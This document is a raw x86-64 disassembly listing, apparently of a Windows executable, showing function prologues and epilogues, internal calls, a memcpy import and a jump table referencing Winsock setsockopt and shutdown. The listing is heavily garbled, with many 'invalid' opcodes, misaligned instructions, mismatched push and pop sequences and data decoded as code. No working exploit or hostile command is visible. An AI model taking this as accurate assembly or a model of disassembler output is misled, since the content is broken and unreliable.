lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0xd20]
and byte [0xcb5a2315], cl
xchg ebp, eax
add byte [rsi], cl
add byte [rax], al
and byte [0xcb5a2315], cl
xchg ebp, eax
add byte [rsi], cl
add byte [rax], al
call fcn.140046050
nop
add rsp, 0x28
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
movzx ebx, byte [rbp + 0xe0c]
popfq
or al, 0xe
add byte [rax], al
test bl, bl
je case.0x14010ab6c.482
mov rcx, qword [rbp + 0xd40]
or eax, 0x8b480000
xchg ebp, eax
invalid
mov rdx, qword [rbp + 0xdf0]
call fcn.140111e20
mov byte [rbp + 0xe0f], bl
mov byte [rbp + 0xe0e], 0
invalid
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
invalid
mov dh, 0x9d
popfq
movzx ebx, byte [rbp + 0xe0e]
popfq
invalid
cmp byte [rbp + 0xe0f], 0
femms
add byte [rax], al
add byte [rbx + riz + 0x48], dh
je case.0x14010ab6c.491
lea rcx, [rbp + 0xa40]
je case.0x14010ab6c.491
and ecx, dword [rax - 0x73]
lea eax, [rax + 0xa]
lea rcx, [rbp + 0xa40]
add byte [rax], al
add al, ch
push 0xffffffff88fffe79
invalid
call fcn.140109d40
mov byte [rbp + 0xe1a], bl
popfq
sbb cl, byte [rsi]
add byte [rax], al
add rsp, 0x28
add esp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0xe1a], bl
add byte [rax - 0x7d], cl
invalid
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax + 0xe1abd], al
cmp byte [rbp + 0xe1a], 0
cmp byte [rbp + 0xe1a], 0
mov ebp, 0xe1a
sbb cl, byte [rsi]
add byte [rax], al
add byte [rdx + rbx - 0x3a], dh
je case.0x140110d10.489
sbb al, dh
mov byte [rbp + 0xe1f], 0
test dword [rdi], ebx
invalid
add byte [rax], al
add dh, al
test dword [rsi], ebx
invalid
mov byte [rbp + 0xe1e], 0
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0xcf8]
add byte [rax], al
add al, ch
xor esp, 0x85c6fffe
invalid
invalid
call case.0x140110e31.293
mov byte [rbp + 0xe1f], 0
test dword [rdi], ebx
invalid
invalid
mov byte [rbp + 0xe1e], 0
test dword [rsi], ebx
invalid
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rsp, 0x28
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
mov dh, 0x9d
popfq
invalid
invalid
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
mov dh, 0x9d
popfq
popfq
invalid
movzx esi, byte [rbp + 0xe1f]
mov ch, 0x1f
invalid
invalid
lea rcx, [rbp + 0xd50]
lea edx, [rax + 0xd]
add byte [rax], al
push rax
or eax, 0xbae80000
invalid
invalid
call fcn.140111760
test sil, sil
invalid
je 0x1401224ce
invalid
invalid
invalid
div byte [rbx + riz + 0x48]
lea ecx, [rbp + 0xd00]
invalid
add byte [rax], al
invalid
and ecx, dword [rax - 0x73]
lea eax, [rax]
lea rcx, [rbp + 0xd00]
or eax, 0x19e80000
hlt
add al, ch
sbb esp, esi
invalid
call case.0x140110e31.293
mov byte [rbp + 0xe1d], bl
popfq
invalid
invalid
add byte [rax], al
dec dword [rax + 0xe1d9d]
add byte [rax - 0x7d], cl
invalid
invalid
popfq
sbb eax, 0x4800000e
add rsp, 0x28
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
mov byte [rbp + 0xe1d], bl
add byte [rax], al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rdi
pop rbp
ret
nop dword cs:[rax + rax]
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
invalid
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
invalid
invalid
sbb al, 0xe
invalid
lea rbp, [rdx + 0x80]
add byte [rax], al
cmp byte [rbp + 0xe1c], 0
add byte [rax], al
je case.0x14011130f.442
lea rcx, [rbp + 0xc18]
sbb byte [rax + rax], cl
add al, ch
add byte [rax], al
call fcn.140109d40
invalid
invalid
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0xde8]
invalid
call 0x128122571
or eax, 0x68e80000
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test eax, edi
or eax, 0x89480000
test eax, ecx
or eax, 0x8b480000
test eax, ebx
or eax, 0x89480000
test eax, eax
or eax, 0x8b480000
test eax, esp
or eax, 0x89480000
test dword [rax + 0x4800000d], edi
add esp, 0x28
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
or eax, 0x68e80000
invalid
add byte [rax - 0x75], cl
test eax, edi
or eax, 0x89480000
add byte [rax - 0x77], cl
test eax, ecx
or eax, 0x8b480000
add byte [rax - 0x75], cl
test eax, ebx
or eax, 0x89480000
add byte [rax - 0x77], cl
test eax, eax
or eax, 0x8b480000
add byte [rax - 0x75], cl
test eax, esp
or eax, 0x89480000
add byte [rax - 0x77], cl
test dword [rax + 0x4800000d], edi
add esp, 0x28
or eax, 0x83480000
add byte [rax - 0x7d], cl
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp + 0xa70]
lea esi, [rax + 0xa]
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x73], cl
lea esi, [rax + 0xa]
add byte [rax], al
call fcn.140040690
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax], edx
mov rax, qword [rbp + 0xe10]
lea rcx, [rax + 0x30]
invalid
add byte [rax - 0x73], cl
xor al, bpl
invalid
invalid
call fcn.140019ef0
nop
add rsp, 0x28
add esp, 0x28
js 0x14012260a
call qword [rax + 0x28c48348]
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
nop
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
invalid
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
test dword [rax], edx
adc byte [rsi], cl
add byte [rax], al
mov rax, qword [rbp + 0xe10]
add byte [rax], al
mov byte [rax + 0x49], 2
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0xe10]
lea rcx, [rax + 0x30]
invalid
invalid
test dword [rax], edx
invalid
add byte [rax - 0x73], cl
xor al, bpl
push rsp
js 0x14012268a
call fcn.140019ef0
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x75], cl
mov ecx, dword [rbp + 0xdb0]
invalid
mov rcx, qword [rbp + 0xdb0]
mov ecx, dword [rbp + 0xdb0]
mov al, 0xd
add byte [rax], al
call fcn.140122db0
fadd dword [rsi]
add byte [rax], al
nop
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rbp + 0xe10]
test dword [rax], edx
invalid
cmp byte [rax + 0x4a], 0
je 0x140122737
add byte [rsi + r11 + 0x48], sil
lea rcx, [rbp + 0xc88]
lea ecx, [rbp + 0xc88]
mov byte [rax + rax], cl
add al, ch
invalid
call fcn.140108d10
nop
add rsp, 0x28
invalid
invalid
jmp case.0x14011633f.247
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add rsp, 0x28
add esp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0xdf8]
test eax, edi
invalid
add byte [rax], al
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
test eax, edi
or eax, 0x8b480000
mov rdx, qword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
invalid
invalid
invalid
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0xde8]
mov ecx, dword [rbp + 0xde8]
adc byte [rax - 0x75], cl
invalid
mov ecx, dword [rbp + 0xde8]
call 0x128122790
add al, ch
call fcn.140005270
nop
jmp 0xd11215b2
out dx, al
call qword [rax + 0x28c48348]
add rsp, 0x28
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax], edx
mov rax, qword [rbp + 0xe10]
mov eax, dword [rbp + 0xe10]
invalid
add byte [rax - 0x75], cl
adc al, bpl
call fcn.1401229d0
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x10]
call fcn.1401229d0
add al, byte [rax]
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop rsi
pop r15
pop rbp
ret
nop
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
invalid
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
test dword [rax], edx
adc byte [rsi], cl
add byte [rax], al
mov rax, qword [rbp + 0xe10]
mov eax, dword [rbp + 0xe10]
adc byte [rsi], cl
add byte [rax], al
mov rcx, qword [rax + 0x10]
call fcn.1401229d0
invalid
add dword [rax], eax
invalid
nop
adc al, ch
invalid
add byte [rax + 0x28c48348], dl
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0xe00]
test dword [rax], eax
invalid
mov qword [rbp + 0xd78], rax
test dword [rax + 0xd], edi
add byte [rax], al
or eax, 0x8d480000
lea rax, case.0x14011130f.467
add eax, 0x9b3d7
mov bl, 9
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rbp + 0xd80], rax
test dword [rax - 0x39fffff3], eax
test dword [rdi], ebx
invalid
invalid
or eax, 0x85c60000
mov byte [rbp + 0xe1f], 1
invalid
add byte [rax], al
add esi, eax
invalid
test dword [rsi], ebx
invalid
invalid
mov byte [rbp + 0xe1e], 1
invalid
add byte [rax], al
add dword [rax - 0x7d], ecx
invalid
invalid
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0xdf0]
invalid
invalid
or eax, 0x48e80000
invalid
invalid
call qword [rax + 0x28c48348]
sub byte [rbx + 0x5f], bl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
nop word [rax + rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax - 0x73], cl
lea esi, [rax - 0x17fffff4]
add al, ch
lea rcx, [rbp + 0xcb0]
lea ecx, [rbp + 0xcb0]
add al, ch
call fcn.140111610
mov byte [rbp + 0xe1c], 0
test dword [rsi + rcx], ebx
add byte [rax], al
add byte [rax - 0x7d], cl
add esp, 0x28
sub ch, ch
invalid
test dword [rsi + rcx], ebx
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
invalid
add esp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
invalid
in al, dx
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
invalid
invalid
lea eax, [rax]
invalid
lea rbp, [rdx + 0x80]
add byte [rax], al
mov rcx, qword [rbp + 0xe00]
add byte [rax], al
call fcn.140122ce0
mov rax, qword [rbp + 0xdf8]
test eax, edi
or eax, 0x89480000
invalid
invalid
mov qword [rbp + 0xdc8], rax
test eax, ecx
or eax, 0x8b480000
invalid
invalid
mov rax, qword [rbp + 0xdd8]
test eax, ebx
or eax, 0x89480000
add byte [rax - 0x77], cl
add byte [rax - 0x77], cl
mov qword [rbp + 0xdc0], rax
test eax, eax
or eax, 0x8b480000
invalid
invalid
mov rax, qword [rbp + 0xde0]
test eax, esp
or eax, 0x89480000
mov qword [rbp + 0xdb8], rax
add rsp, 0x28
mov qword [rbp + 0xdb8], rax
mov dword [rbp + 0xdb8], eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], al
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
lea ebp, [rax]
invalid
mov rcx, qword [rbp + 0xd28]
sub byte [0xcb5a2995], cl
or eax, 0x8b480000
add byte [rax], al
mov rsi, qword [rbp + 0xd30]
mov ch, 0x30
xor byte [0xcb5a299c], cl
or eax, 0x8b480000
add byte [rax], al
mov rdi, qword [rbp + 0xd38]
mov ebp, 0xd38
cmp byte [0xc95a29a3], cl
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0xdb0], rsi
mov ch, 0xb0
mov al, 0xd
or eax, 0x43e80000
add eax, dword [rax]
add byte [rax], al
invalid
invalid
add byte [rax], al
call fcn.140122cf0
add byte [rax], al
mov byte [rdi], 2
mov qword [rbp + 0xdb0], rsi
mov ch, 0xb0
or eax, 0x83480000
invalid
invalid
mov ch, 0xb0
or eax, 0x83480000
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
int3
cmpsd dword [rsi], dword [rdi]
retf 6
invalid
invalid
invalid
int3
int3
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
invalid
invalid
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
add dh, bh
invalid
invalid
mov byte [rbp - 1], 0
inc dword [r8]
inc dword [rax]
lea rcx, [rbp - 0x40]
mov qword [rbp - 0x10], rdx
ror byte [rax - 0x77], 0x55
invalid
call fcn.140113540
cmp dword [rbp - 0x40], 2
jge 0x1401229cc
invalid
or edi, edi
inc dword [rbx + 0x7502c07d]
jge 0x1401229cc
add dh, byte [rbp + 0x1f]
invalid
jge 0x1401229cc
add dh, byte [rbp + 0x1f]
jne case.default.0x140122a26
mov rdi, qword [rbp - 0x38]
mov ebx, edi
sti
sti
and ebx, 3
jrcxz case.0x14013e2e6.129
lea rax, [0x1401ef864]
lea eax, [0x1401ef864]
invalid
add byte [rax + 0x63], cl
or al, 0x98
cwde
movsxd rcx, dword [rax + rbx*4]
cwde
add rcx, rax
jmp rcx
invalid
loope 0x140122a38
movzx eax, byte [rdi + 0x10]
jmp 0x140122a63
invalid
mov dh, 0x47
adc bl, ch
adc r11b, r13b
xor eax, 0x84e8d48
lea rcx, [rsi + 8]
or byte [rcx - 0x48], r8b
sub byte [rcx], al
add byte [rax], al
invalid
mov r8d, 0x128
add byte [rax - 0x75], cl
push rbp
mov rdx, qword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
invalid
cmp al, byte [rsi]
add byte [rax - 0x39], cl
invalid
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
cmp al, byte [rsi]
add byte [rax - 0x39], cl
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
push 0x5d5e5f5b
mov rcx, rdi
stc
shr rcx, 0x20
call fcn.14014c870
sahf
add al, byte [rax]
jmp 0x140122a63
add al, 0xf
mov dh, 0x47
invalid
invalid
movzx eax, byte [rdi + 0xf]
invalid
pop rbx
lea ecx, [rsi + 8]
or byte [rcx - 0x48], al
sub byte [rcx], al
add dword [rax], eax
add byte [rax - 0x75], cl
push rbp
add byte [rax], al
invalid
invalid
mov dword [rsi], 1
invalid
add dword [rax], eax
add byte [rax], al
lea eax, [rbx - 2]
dec byte [r8 - 0x7d]
dec byte [rax - 0x7d]
clc
add dh, byte [rdx - 0x43]
jb 0x140122a48
mov ebp, 0x74db8548
mov eax, 0xff478d48
lea rax, [rdi - 1]
lea eax, [rdi - 1]
dec dword [r8 - 0x77]
fmul dword [r8 - 0x75]
fmul dword [rax - 0x75]
fmul dword [rax - 0x75]
mov ecx, dword [rdi - 1]
dec qword [r8 - 0x75]
invalid
invalid
mov dword [rbp - 0x20], eax
loopne 0x140122aa8
loopne 0x140122aa8
adc byte [rax - 0x75], cl
loopne case.0x1401207b8.19
loopne case.0x1401207b8.19
cmp dword [rax + 8], 0
imul ecx, dword [rax - 0x7d], 0x78
adc byte [rcx], dl
mov r8, qword [rbp - 0x18]
mov qword [rsi + 8], 2
mov dword [rsi + 8], 2
add byte [rax], al
add byte [rax - 0x77], cl
jle case.0x1401208c7.9
mov dword [rsi], 1
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov ecx, dword [rbp - 0x10]
invalid
invalid
invalid
dec dword [rax - 0x77]
clc
mov rax, rdi
shr rax, 0x20
call 0x1690aae10
and byte [rbx + 0x467728f8], al
cmp eax, 0x28
ja case.default.0x140122b00
lea rcx, [0x1401ef874]
lea ecx, [0x1401ef874]
or eax, 0xccd7b
or al, 0
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
loopne 0x140122b34
pop rdx
invalid
invalid
dec dword [rbx + rcx*4 + 0x45]
call 0x13852b65e
call 0x13852b65e
mov eax, dword [rax - 8]
clc
clc
mov ecx, dword [0x14023c258]
or eax, 0x119740
xchg edi, eax
adc dword [rax], eax
add byte [rcx], dh
sar bh, cl
adc eax, 0x6c508
or ch, al
invalid
invalid
mov ecx, dword [0x14023c258]
or eax, 0x119731
xor dword [rdi - 0x2dceffef], edx
xchg edi, eax
adc dword [rax], eax
ror byte [rbx + rcx*4 + 0x45], cl
mov eax, dword [rbp - 0x28]
fdivr st(7)
fdivr st(7)
adc eax, 0x6c4f5
cmc
invalid
invalid
add cl, ch
adc bh, bh
invalid
invalid
invalid
push qword [rax - 0xdb16d7]
mov al, 0x29
sub ecx, ebp
and al, 0xff
invalid
jmp 0x140122a63
invalid
invalid
push qword [rax - 0xe216ff]
add ecx, ebp
sbb eax, 0xb0ffffff
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0xe916fe]
add ch, cl
invalid
invalid
invalid
push qword [rax - 0xf016fd]
add ebp, ecx
ud0
invalid
invalid
invalid
push qword [rax - 0xf716fc]
add al, 0xe9
or bh, bh
invalid
invalid
invalid
push qword [rax - 0xfe16fb]
add eax, 0xffff01e9
invalid
invalid
push qword [rax - 0x10516fa]
invalid
invalid
invalid
push qword [rax - 0x10c16f9]
invalid
invalid
invalid
push qword [rax - 0x11316f8]
or cl, ch
in al, dx
invalid
invalid
push qword [rax - 0x11a16f7]
or ecx, ebp
in eax, 0xfe
invalid
invalid
invalid
push qword [rax - 0x12116f6]
or ch, cl
fdivp st(6)
invalid
invalid
invalid
push qword [rax - 0x12816f5]
or ebp, ecx
xlatb
invalid
invalid
push qword [rax - 0x12f16f4]
or al, 0xe9
sar dh, 1
invalid
invalid
invalid
push qword [rax - 0x13616f3]
or eax, 0xfffec9e9
invalid
invalid
push qword [rax - 0x13d16f2]
invalid
invalid
invalid
push qword [rax - 0x14416f1]
psubsw mm7, qword [rbx - 0x4f000002]
invalid
invalid
push qword [rax - 0x14b16f0]
adc cl, ch
mov ah, 0xfe
invalid
invalid
invalid
push qword [rax - 0x15216ef]
adc ecx, ebp
lodsd eax, dword [rsi]
invalid
invalid
push qword [rax - 0x15916ee]
adc ch, cl
cmpsb byte [rsi], byte [rdi]
invalid
invalid
push qword [rax - 0x16016ed]
adc ebp, ecx
lahf
invalid
invalid
push qword [rax - 0x16716ec]
mov al, setsockopt
jmp 0x140122a63
invalid
invalid
invalid
adc al, 0xe9
cwde
invalid
invalid
push qword [rax - 0x16e16eb]
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140122a63
invalid
invalid
invalid
adc eax, 0xfffe91e9
invalid
invalid
push qword [rax - 0x17516ea]
mov al, reloc.WS2_32.dll_shutdown
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x17c16e9]
mov al, 0x17
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x18316e8]
mov al, 0x18
jmp 0x140122a63
invalid
invalid
invalid
sbb cl, ch
jl 0x140122be3
invalid
invalid
invalid
push qword [rax - 0x18a16e7]
mov al, 0x19
jmp 0x140122a63
invalid
invalid
invalid
sbb ecx, ebp
jne 0x140122bea
invalid
invalid
invalid
push qword [rax - 0x19116e6]
mov al, 0x1a
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x19816e5]
mov al, 0x1b
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x19f16e4]
mov al, 0x1c
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1a616e3]
mov al, 0x1d
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1ad16e2]
mov al, 0x1e
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1b416e1]
mov al, 0x1f
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1bb16e0]
mov al, 0x20
jmp 0x140122a63
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1c216df]
mov al, 0x21
jmp 0x140122a63
invalid
invalid
invalid
push qword [rax - 0x1c916de]
mov al, 0x22
jmp 0x140122a63
invalid
invalid
invalid
push qword [rax - 0x1d016dd]
mov al, 0x23
jmp 0x140122a63
invalid
invalid
invalid
mov al, 0x24
jmp 0x140122a63
invalid
invalid
invalid
mov al, 0x25
jmp 0x140122a63
invalid
invalid
invalid
mov al, 0x26
jmp 0x140122a63
mov al, 0x27
jmp 0x140122a63
mov al, 0x28
jmp 0x140122a63
sub cl, ch
or al, 0xfe
invalid
mov dword [rsp + 0x10], edx
push rbp
